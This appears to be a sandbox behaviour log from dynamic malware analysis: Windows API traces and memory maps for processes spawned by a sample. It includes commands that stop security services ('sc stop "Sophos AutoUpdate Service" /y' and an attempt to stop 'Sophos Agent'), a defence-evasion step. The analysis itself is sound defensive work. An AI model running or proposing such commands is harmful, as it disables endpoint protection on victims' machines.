[0060.300] GetTickCount () returned 0x1c81e [0060.300] QueryPerformanceCounter (in: lpPerformanceCount=0x2bfb4c | out: lpPerformanceCount=0x2bfb4c*=1813553000000) returned 1 [0060.300] GetModuleHandleA (lpModuleName=0x0) returned 0x60000 [0060.300] __set_app_type (_Type=0x1) [0060.300] __p__fmode () returned 0x75ed31f4 [0060.301] __p__commode () returned 0x75ed31fc [0060.301] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x679c7) returned 0x0 [0060.301] __wgetmainargs (in: _Argc=0x69020, _Argv=0x69028, _Env=0x69024, _DoWildCard=0, _StartInfo=0x69034 | out: _Argc=0x69020, _Argv=0x69028, _Env=0x69024) returned 0 [0060.301] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.305] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0060.305] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0060.305] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0060.305] _wcsicmp (_String1="stop", _String2="query") returned 2 [0060.305] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0060.305] _wcsicmp (_String1="stop", _String2="start") returned 14 [0060.305] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0060.305] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0060.305] _wcsicmp (_String1="stop", _String2="control") returned 16 [0060.305] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0060.305] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0060.305] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x34f780 [0060.308] OpenServiceW (hSCManager=0x34f780, lpServiceName="Sophos Agent", dwDesiredAccess=0x20) returned 0x0 [0060.308] GetLastError () returned 0x424 [0060.308] _itow (in: _Dest=0x424, _Radix=2882028 | out: _Dest=0x424) returned="1060" [0060.308] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0x69380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0060.310] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x2bf9d4, nSize=0x2, Arguments=0x2bf9e0 | out: lpBuffer="\x19c8\x35\x01") returned 0x62 [0060.310] GetFileType (hFile=0x7) returned 0x2 [0060.310] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2bf9a8 | out: lpMode=0x2bf9a8) returned 1 [0060.311] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x3519c8*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x2bf9c4, lpReserved=0x0 | out: lpBuffer=0x3519c8*, lpNumberOfCharsWritten=0x2bf9c4*=0x62) returned 1 [0060.311] LocalFree (hMem=0x3519c8) returned 0x0 [0060.311] LocalFree (hMem=0x0) returned 0x0 [0060.311] CloseServiceHandle (hSCObject=0x34f780) returned 1 [0060.314] exit (_Code=1060) Thread: id = 127 os_tid = 0x568 Process: id = "46" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x5a6ff000" os_pid = "0x7e0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos AutoUpdate Service\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3009 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3010 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3011 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3012 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3013 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 3014 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 3015 start_va = 0xd0000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3016 start_va = 0x4a390000 end_va = 0x4a3dbfff entry_point = 0x4a390000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 3017 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3018 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3019 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3020 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3021 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3022 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3023 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3024 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3025 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3026 start_va = 0x380000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 3027 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3028 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3029 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3030 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3031 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3032 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3033 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3034 start_va = 0x1d0000 end_va = 0x236fff entry_point = 0x1d0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3035 start_va = 0x2a0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3036 start_va = 0x5b0000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 3037 start_va = 0x75270000 end_va = 0x75276fff entry_point = 0x75270000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 3038 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3039 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3040 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3041 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3042 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3043 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3044 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3045 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3046 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3047 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3048 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3049 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3050 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3051 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3052 start_va = 0x400000 end_va = 0x587fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 3053 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3054 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3055 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3056 start_va = 0xb0000 end_va = 0xb1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 3057 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3058 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3059 start_va = 0x6b0000 end_va = 0x830fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 3060 start_va = 0x840000 end_va = 0x1c3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 3061 start_va = 0x1c40000 end_va = 0x1f82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c40000" filename = "" Region: id = 3062 start_va = 0x1f90000 end_va = 0x225efff entry_point = 0x1f90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 128 os_tid = 0x478 [0060.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cf784 | out: lpSystemTimeAsFileTime=0x1cf784*(dwLowDateTime=0xded600e0, dwHighDateTime=0x1d4abdd)) [0060.445] GetCurrentProcessId () returned 0x7e0 [0060.445] GetCurrentThreadId () returned 0x478 [0060.445] GetTickCount () returned 0x1c8ab [0060.445] QueryPerformanceCounter (in: lpPerformanceCount=0x1cf77c | out: lpPerformanceCount=0x1cf77c*=1813567500000) returned 1 [0060.446] GetModuleHandleA (lpModuleName=0x0) returned 0x4a390000 [0060.446] __set_app_type (_Type=0x1) [0060.446] __p__fmode () returned 0x75ed31f4 [0060.446] __p__commode () returned 0x75ed31fc [0060.446] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a3b21a6) returned 0x0 [0060.446] __getmainargs (in: _Argc=0x4a3b4238, _Argv=0x4a3b4240, _Env=0x4a3b423c, _DoWildCard=0, _StartInfo=0x4a3b4140 | out: _Argc=0x4a3b4238, _Argv=0x4a3b4240, _Env=0x4a3b423c) returned 0 [0060.446] GetCurrentThreadId () returned 0x478 [0060.446] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x478) returned 0x60 [0060.446] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0060.447] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0060.447] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.447] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0060.447] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cf714 | out: phkResult=0x1cf714*=0x0) returned 0x2 [0060.447] VirtualQuery (in: lpAddress=0x1cf74b, lpBuffer=0x1cf6e4, dwLength=0x1c | out: lpBuffer=0x1cf6e4*(BaseAddress=0x1cf000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.447] VirtualQuery (in: lpAddress=0xd0000, lpBuffer=0x1cf6e4, dwLength=0x1c | out: lpBuffer=0x1cf6e4*(BaseAddress=0xd0000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0060.447] VirtualQuery (in: lpAddress=0xd1000, lpBuffer=0x1cf6e4, dwLength=0x1c | out: lpBuffer=0x1cf6e4*(BaseAddress=0xd1000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0060.447] VirtualQuery (in: lpAddress=0xd3000, lpBuffer=0x1cf6e4, dwLength=0x1c | out: lpBuffer=0x1cf6e4*(BaseAddress=0xd3000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.448] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x1cf6e4, dwLength=0x1c | out: lpBuffer=0x1cf6e4*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0060.448] GetConsoleOutputCP () returned 0x1b5 [0060.448] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a3b4260 | out: lpCPInfo=0x4a3b4260) returned 1 [0060.448] SetConsoleCtrlHandler (HandlerRoutine=0x4a3ae72a, Add=1) returned 1 [0060.448] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.448] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0060.448] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.448] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a3b41ac | out: lpMode=0x4a3b41ac) returned 1 [0060.448] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.448] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0060.448] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.448] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a3b41b0 | out: lpMode=0x4a3b41b0) returned 1 [0060.449] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.449] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0060.449] GetEnvironmentStringsW () returned 0x5c2b48* [0060.449] FreeEnvironmentStringsW (penv=0x5c2b48) returned 1 [0060.449] GetEnvironmentStringsW () returned 0x5c2b48* [0060.449] FreeEnvironmentStringsW (penv=0x5c2b48) returned 1 [0060.449] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce684 | out: phkResult=0x1ce684*=0x6c) returned 0x0 [0060.449] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x0, lpData=0x1ce690*=0x32, lpcbData=0x1ce688*=0x1000) returned 0x2 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x4, lpData=0x1ce690*=0x1, lpcbData=0x1ce688*=0x4) returned 0x0 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x0, lpData=0x1ce690*=0x1, lpcbData=0x1ce688*=0x1000) returned 0x2 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x4, lpData=0x1ce690*=0x0, lpcbData=0x1ce688*=0x4) returned 0x0 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x4, lpData=0x1ce690*=0x40, lpcbData=0x1ce688*=0x4) returned 0x0 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x4, lpData=0x1ce690*=0x40, lpcbData=0x1ce688*=0x4) returned 0x0 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x0, lpData=0x1ce690*=0x40, lpcbData=0x1ce688*=0x1000) returned 0x2 [0060.450] RegCloseKey (hKey=0x6c) returned 0x0 [0060.450] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce684 | out: phkResult=0x1ce684*=0x6c) returned 0x0 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x0, lpData=0x1ce690*=0x40, lpcbData=0x1ce688*=0x1000) returned 0x2 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x4, lpData=0x1ce690*=0x1, lpcbData=0x1ce688*=0x4) returned 0x0 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x0, lpData=0x1ce690*=0x1, lpcbData=0x1ce688*=0x1000) returned 0x2 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x4, lpData=0x1ce690*=0x0, lpcbData=0x1ce688*=0x4) returned 0x0 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x4, lpData=0x1ce690*=0x9, lpcbData=0x1ce688*=0x4) returned 0x0 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x4, lpData=0x1ce690*=0x9, lpcbData=0x1ce688*=0x4) returned 0x0 [0060.450] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce68c, lpData=0x1ce690, lpcbData=0x1ce688*=0x1000 | out: lpType=0x1ce68c*=0x0, lpData=0x1ce690*=0x9, lpcbData=0x1ce688*=0x1000) returned 0x2 [0060.450] RegCloseKey (hKey=0x6c) returned 0x0 [0060.450] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f5b [0060.450] srand (_Seed=0x5c3c3f5b) [0060.450] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos AutoUpdate Service\" /y" [0060.450] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos AutoUpdate Service\" /y" [0060.451] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3b5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.451] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5c4bd8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0060.451] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3c0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0060.451] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3c0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.451] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3c0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0060.451] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0060.451] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0060.451] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0060.451] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0060.451] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0060.451] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0060.451] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0060.451] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0060.451] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0060.451] GetEnvironmentStringsW () returned 0x5c2b48* [0060.452] FreeEnvironmentStringsW (penv=0x5c2b48) returned 1 [0060.452] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a3c0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.452] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a3c0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0060.452] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0060.452] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0060.452] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0060.452] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0060.452] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0060.452] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0060.452] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0060.452] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0060.452] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cf450 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.452] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1cf450, lpFilePart=0x1cf44c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1cf44c*="Desktop") returned 0x25 [0060.452] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0060.452] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1cf1cc | out: lpFindFileData=0x1cf1cc) returned 0x5c1de0 [0060.452] FindClose (in: hFindFile=0x5c1de0 | out: hFindFile=0x5c1de0) returned 1 [0060.453] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1cf1cc | out: lpFindFileData=0x1cf1cc) returned 0x5c1de0 [0060.453] FindClose (in: hFindFile=0x5c1de0 | out: hFindFile=0x5c1de0) returned 1 [0060.453] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0060.453] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1cf1cc | out: lpFindFileData=0x1cf1cc) returned 0x5c1de0 [0060.453] FindClose (in: hFindFile=0x5c1de0 | out: hFindFile=0x5c1de0) returned 1 [0060.453] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0060.453] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0060.453] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0060.453] GetEnvironmentStringsW () returned 0x5c2b48* [0060.453] FreeEnvironmentStringsW (penv=0x5c2b48) returned 1 [0060.453] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3b5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.454] GetConsoleOutputCP () returned 0x1b5 [0060.454] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a3b4260 | out: lpCPInfo=0x4a3b4260) returned 1 [0060.454] GetUserDefaultLCID () returned 0x409 